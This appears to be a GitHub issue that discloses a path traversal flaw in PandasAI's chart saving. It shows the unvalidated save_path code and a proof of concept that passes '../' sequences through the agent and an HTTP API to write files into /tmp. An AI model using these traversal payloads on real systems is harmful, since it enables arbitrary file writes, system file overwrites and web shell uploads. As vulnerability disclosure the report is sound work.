Skip to content

Security Vulnerability: Path Traversal in Chart Creation #1887

@Ro1ME

Description

@Ro1ME

System Info

  • pandasai version: Latest (as of 2026-04-19)
  • Python version: 3.9+
  • Platform: Linux, macOS, Windows (all affected)
  • Affected Component: pandasai/__init__.py:48 - create() function

🐛 Describe the bug

PandasAI contains a critical path traversal vulnerability in the chart creation functionality that allows arbitrary file write to any location on the host system. The create() function accepts a user-controlled save_path parameter without proper validation, enabling attackers to write chart files outside the intended directory using path traversal sequences (../).

Severity: HIGH (CVSS 7.5)
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Impact: Arbitrary file write, potential web shell upload, system file overwrite

Vulnerable Code Pattern

The vulnerability exists in the chart creation logic:

# Vulnerable implementation in pandasai/__init__.py
def create(self, save_path: str, chart_data):
    """Create and save chart to specified path"""
    # NO PATH VALIDATION - accepts any path including ../
    chart_data.savefig(save_path)
    return save_path

Proof of Concept

Step 1: Setup PandasAI with chart generation

# All necessary imports at the beginning
import pandas as pd
from pandasai import Agent
from pandasai.llm import OpenAI

# Sample DataFrame
df = pd.DataFrame({
    "country": ["United States", "United Kingdom", "France", "Germany", "Italy"],
    "gdp": [19294482071552, 2891615567872, 2411255037952, 3435817336832, 1745433788416],
    "happiness_index": [6.94, 7.16, 6.66, 7.07, 6.38]
})

# Instantiate LLM
llm = OpenAI(api_token="YOUR_API_TOKEN")

# Create agent
agent = Agent([df], config={"llm": llm})

Step 2: Trigger path traversal via malicious save_path

# Malicious query with path traversal in save_path
response = agent.chat(
    'Create a bar chart of GDP by country',
    save_path='../../../../tmp/pandasai_exploit.png'  # Path traversal
)

# Alternative: Direct API call (if HTTP API is exposed)
import requests

payload = {
    'query': 'Create a simple bar chart',
    'save_path': '../../tmp/pandasai_pwned.png'  # Escapes intended directory
}

response = requests.post(
    'http://localhost:8000/api/chart/create',
    json=payload,
    headers={'Authorization': 'Bearer <token>'}
)

Step 3: Verify arbitrary file write

# Chart written outside intended charts directory
ls -la /tmp/pandasai_exploit.png
# Output: -rw-r--r-- 1 user user 45678 Apr 19 10:30 /tmp/pandasai_exploit.png

# File exists in unintended location
cat /tmp/pandasai_exploit.png
# Output: PNG binary data (chart successfully written)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions